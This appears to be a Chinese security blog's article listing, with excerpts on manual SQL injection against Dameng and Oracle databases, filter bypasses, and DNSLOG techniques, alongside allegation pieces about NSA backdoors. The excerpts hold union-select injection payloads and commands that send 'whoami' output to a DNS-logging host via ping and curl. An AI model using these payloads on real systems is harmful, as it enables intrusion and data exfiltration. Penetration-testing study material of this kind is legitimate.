前言随着信创产业的逐步普及，很多小伙伴在渗透实战时会越来越多的遇到国产化数据库，如达梦、人大金仓等。如果使用该类数据库的站点存在sql注入漏洞，用sqlmap等工具无法支持我们直接得到想要的数据，我们...
04月22日安全文章4 views达梦数据库手工注入笔记已关闭评论dual
表达式
达梦数据库手工注入笔记
04月22日安全文章4 views达梦数据库手工注入笔记已关闭评论dual
表达式
04月22日安全文章4 views达梦数据库手工注入笔记已关闭评论dual
表达式
SQL注入-Oracle手工+sqlmap
Oracle数据库注入判断列数和显错位union select '1','2' from dual暴库名union select '1',(select table_name from user_ta...
02月07日20 views评论oracle
sqlmap
美国APT预置后门——对NSA长期系统性操控密码体系的揭露
在网络安全领域，关于美国是否在基础 IT 产品中预置后门的传言一直存在着广泛的质疑和猜测。1999年8月，加拿大Cryptonym公司首席科学家安德鲁·费尔南德斯（Andrew Fernandes）发...
01月28日15 views评论nsa
密码学
SQL注入之Oracle
免责声明由于传播、利用本公众号"零漏安全"所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号"零漏安全"及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我...
12月14日12 views评论oracle
数据类型
美国NSA植入后门芯片再添新证据Cavium的CPU后门
Cavium是一家半导体制造商，于2018年被Marvell收购，据称在爱德华·斯诺登2013年泄露的文件中被认定为为美国情报部门提供后门的半导体供应商。毫无例外地，Marvell否认其或Cavium...
09月21日36 views评论nsa
rsa
SQL注入基础 oracle 延时注入
oracle 延时注入1简介DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒，但使用该函数存在许多限制。首先，不能直接将该函数注入子查询中，因为Oracle不支持堆叠查询(stacked...
05月15日55 views评论oracle
sql注入
170个网络技术领域专业术语解释
1. 自主访问控制(DAC:Discretionary Access Control)自主访问控制(DAC)是一个访问控制服务，其执行一个基于系统实体身份的安全政策和它们的授权来访问系统资源。2. 双...
04月09日22 views评论dual
网络技术
数据库注入提权总结（下）
点击蓝字关注我们接上一篇 数据库注入提权总结时间盲注dbms_pipe.receive_message ()DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒，但使用该函数存在许...
03月13日14 views评论execute
pipe
浅谈SQL database的各种技巧(六)
前言 不同于前面几篇，这篇主要是集中对抗Oracle数据库的getshell方法和一些sql注入的利用姿势 Oracle 基础 权限解释 系统权限管理 DBA:拥有全部特权，是系统最高权限，只有DBA...
03月12日28 views浅谈SQL database的各种技巧(六)已关闭评论oracle
SecIN安全技术社区
渗透测试-DNSLOG使用技巧
0x01 命令执行场景 Liunx/Unix/Mac OS系统:ping `whoami`.mydnslog.comcurl http://mydnslog.com/`whoami...
01月25日46 views评论com
http
干货 | Oracle注入和漏洞利用姿势总结
基础介绍Oracle Database，又名 Oracle RDBMS，或简称 Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说 Oracle 数据库...
01月16日199 views干货 | Oracle注入和漏洞利用姿势总结已关闭评论oracle
漏洞利用
常规特殊字符被过滤的一种绕过技巧
今天来分享一个绕过过滤比如 ' " ( ) % 等字符的场景，测试环境为 PHP+Mysql假设场景php 代码通过 HTTP GET 参数 param1 接收用户输入的内容，然后...
12月19日17 views评论ascii
schema